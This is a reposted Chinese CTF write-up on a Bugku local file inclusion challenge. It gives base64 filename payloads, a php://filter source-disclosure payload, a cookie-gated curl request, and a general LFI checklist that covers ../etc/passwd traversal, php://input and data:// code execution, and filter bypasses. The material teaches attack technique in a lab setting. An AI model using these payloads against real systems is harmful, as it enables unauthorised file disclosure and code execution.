朱脚饭112头像
关注

CTF Web LFI 文件包含解题整理

适用:本地文件包含 LFI、Cookie 条件判断、base64 文件名字符串、php://filter 读源码

一、题目场景回顾(bugku ctf)

访问 index.php?line=&filename=xxx 现象:

  1. 不带特定 Cookie:页面输出固定乱码字符串,不会读取文件
  2. 带上 Cookie: margin=margin:才会执行文件包含逻辑,解码 filename 读取文件
  3. filename 参数是base64 编码后的文件名

后端伪代码

// 核心判断:必须Cookie存在margin=margin
if($_COOKIE['margin'] === "margin"){
    $file = base64_decode($_GET['filename']);
    include($file);
}else{
    echo "乱码字符串...";
}

Payload 清单(直接复制)

  1. keys.txt 编码:a2V5cy50eHQ=
index.php?line=&filename=a2V5cy50eHQ=
  1. keys.php 编码:a2V5cy5waHA=
index.php?line=&filename=a2V5cy5waHA=
  1. php://filter 读取 index.php 源码(LFI 万能 payload,看后端源码)
index.php?line=&filename=php://filter/read=convert.base64-encode/resource=index.php

请求携带 Cookie 两种方式

  1. Kali curl(最稳,无浏览器 bug,推荐优先用)
curl "http://160.202.254.160:12348/index.php?line=&filename=a2V5cy50eHQ=" -H "Cookie:margin=margin"
  1. 浏览器设置 Cookie(Hackbar 自定义 Header 容易失效!) F12 → 应用程序 → Cookie,手动新增
  • Name: margin
  • Value: margin
  • Domain: 160.202.254.160
  • Path: / 设置完成后直接刷新页面,不要在 Hackbar 的 Custom Headers 写 Cookie。

踩坑点:Hackbar 自定义 Cookie 头会和浏览器原生 Cookie 冲突,经常失效,这就是你之前一直看到乱码的根源!


二、通用 LFI(本地文件包含)全套解题思路【重点】

1. 识别 LFI 漏洞特征

URL 出现:?file= / ?filename= / ?path= / ?read= 页面会根据参数加载文件,大概率文件包含。

2. 基础测试顺序(标准 WP 流程)

  1. 测试读取当前目录文件:?filename=test.txt
  2. 尝试目录穿越:../
    • ?filename=../etc/passwd(Linux)
    • ?filename=../windows/win.ini(Windows)
  3. 协议绕过:php://filter(最常用!读取 PHP 源码,不会直接执行)
php://filter/read=convert.base64-encode/resource=index.php

作用:把 php 文件源码 base64 输出,拿到源码看后端逻辑、密钥、判断条件。

  1. php://input (可执行代码,需要 POST)
  2. data:// 协议(部分环境可用,写入代码执行)

3. 常见过滤 & 绕过

  • 过滤../:....//、..\
  • 过滤php:编码、截断、filter 协议
  • 过滤base64:rot13 等其他编码

4. 特殊条件型 LFI(Cookie 做开关)

考点:漏洞不是无条件触发,需要特定请求头 / Cookie 满足 if 判断 套路:

  • 不带 Cookie:返回垃圾字符 / 提示无权访问
  • 带上指定 Cookie:才进入 include 逻辑
  • 遇到这种题,优先用 php://filter 读取源码,直接看 if 判断写的是什么,不用盲猜 Cookie!

5.重点命令涵盖测试

curl 模板,带 Cookie

curl "http://靶机地址/index.php?filename=xxx" -H "Cookie:key=value"

php://filter 读源码 payload

?filename=php://filter/read=convert.base64-encode/resource=index.php

base64 编码文件名字符串

在 Hackbar Encoding 直接编码,把文件名转 base64 放到 filename 参数

看到URL里面有编码解码的成分可以多多尝试用index.php源码加密代替

转载自 CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/qq_73552461/article/details/166789454

文章来源转载

评论

赞0

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--